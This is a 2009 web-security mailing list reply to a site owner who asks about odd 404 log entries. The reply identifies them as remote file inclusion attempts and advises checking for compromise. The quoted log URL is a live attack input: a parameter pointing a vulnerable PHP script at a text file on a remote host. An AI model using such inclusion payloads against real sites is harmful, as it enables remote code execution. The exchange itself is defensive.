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WebApp Sec: Re: 404 messages pointing to a strange location

Re: 404 messages pointing to a strange location

From: Daniel Clemens <daniel.clemens_at_packetninjas.net>
Date: Sat, 3 Jan 2009 12:45:13 -0600

On Jan 2, 2009, at 4:10 AM, Simon wrote:

> Hi all,
>
> Yesterday evening I had lots of 404-messages from my web server, all
> pointing to locations like
> http://foo.bar/something//ee_commerce/paypalcart.php?toroot=http://220.134.244.157/xoops/templates_c/id3.txt
> ?
> I don't use paypal or anything similar on my page; what does that
> mean?
>

Looks like a bug being exploited with file inclusion being rendered
back to your server.
I would look for other signs of compromise on your system as well as
what Tom Ritter posted.

| Daniel Uriah Clemens
| Packetninjas L.L.C | | http://www.packetninjas.net
| c. 205.567.6850 | | o. 866.267.8851
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